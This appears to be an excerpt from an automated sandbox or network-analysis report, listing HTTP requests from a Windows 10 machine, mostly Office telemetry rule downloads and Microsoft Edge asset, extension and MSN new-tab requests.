Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731601536&P2=404&P3=2&P4=XFrTNMjXbA80TL9n1DtnC30z1%2fdEwcnD1cz4wVyedekKv3FTeaF3zFJNWYVDUsO0M1pWwImBcDIPNnEonQ%2f96g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 1hT8IOGuV9qoBX6wFRTnl5Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=856F9A24-AADD-4DA3-8B88-8EAB403E620C&scn=app_anon HTTP/1.1Host: api.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2A8240AA479562810A1E559A46E0634C; _EDGE_S=F=1&SID=1EB50BDBC8056719017A1EEBC94C669D; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2A8240AA479562810A1E559A46E0634C&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9ed4c66284eb4d4eb54f403862884bf3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2A8240AA479562810A1E559A46E0634C; _EDGE_S=F=1&SID=1EB50BDBC8056719017A1EEBC94C669D; _EDGE_V=1
